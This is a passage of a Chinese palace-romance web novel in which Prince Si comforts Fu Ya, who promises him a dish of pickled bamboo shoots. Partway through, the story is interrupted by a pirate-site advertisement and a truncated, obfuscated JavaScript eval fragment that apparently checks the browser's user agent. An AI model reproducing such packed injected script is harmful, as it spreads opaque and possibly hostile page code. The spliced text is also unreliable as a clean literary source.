四爷眉头依旧还皱着,却上前一步拉了傅雅起身,另一只手一伸,身后的苏培盛十分有眼色地上前往四爷手里放了帕子,然后立刻退后。 “眼窝子这么浅,爷看你这眼睛哭多了也不好看了,四爷紧蹙着眉头,一边训她,一边给她擦着眼角的泪水,“若是想爷了,怎么没见你叫人去前院找? 四爷心底隐隐还有那么点怀 疑,因为这中间隔的时间也有个十多天,真要这么想他,怎么声都不吭一个? 傅雅微微仰着头,乖乖让他擦着,听四爷这么问了,她就道:“因为四爷从十几天前就一直忙着,连进后院的次数都少了,我心疼四爷呢,就不想让我的事打扰四爷。” 顿了顿,她语气低了下来,“我一个人默默念着四爷便好。” 四爷给她擦眼角的动作微不可见地慢了瞬,他就想,话说得这么好,结果见到爷不还是委屈上了么? 但小格格眼眶红着,声音还带点哽咽的可怜模样的确让四爷心软了软。 说全网首发无弹窗免费阅读caixs.com?(请来才小< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这样的一个人,能够从牛得病传染给人的症状与种痘类似进而联想到是不是可以拿来试验是否有了新的天花预防办法,似乎也是理所当然的了。 天真不代表蠢,有种说法叫“知世故而不世故,历圆滑而弥天真,小格格或许就是这样的。 四爷想,也许正因为傅雅是这样的人,才能与他这么合拍。 “等我做好这泡椒春笋,约莫就是这两天的事,到时候……四爷您一定要来吃呀。傅雅抓着他的手晃了晃,眼也不眨地看着他,一心等着他的回答。 “那爷就等着了。四爷神情淡淡道,但他眉眼间却很是柔和,与进来时那种脸色沉沉的感觉已是截然不同。 这个时候的四爷已经全然忘了,他过来是为了问个清楚,以及最初傅雅答应他的吃食可不是新鲜,而是要好吃。 他只是觉得,小格格还是一心想着他的,当初意识到牛痘一事后也是忙不迭让她的父兄和他说起,如今皇上吩咐的事情也做得差不多了,腾出点时间来倒也不是问题。 那他便应下吧,总不好毁诺还浪费了小格格的心意。 一旁苏培盛看得是瞠目结舌,等富察格格和四爷依偎在一起,四爷耐着性子听富察格格说些做吃食的事情,苏培盛默默合上了自己快掉的下巴,恍然大悟。 主子爷情绪能这么快好转,那从一开始就不是真心来找富察格格麻烦的! 是他看得浅了,想错了地方,其实说来说去—— 这分明就是主子爷和富察格格间的情趣啊! 作者有话要说 你身边有不少朋友还没看到本章呢,快去给他们剧透吧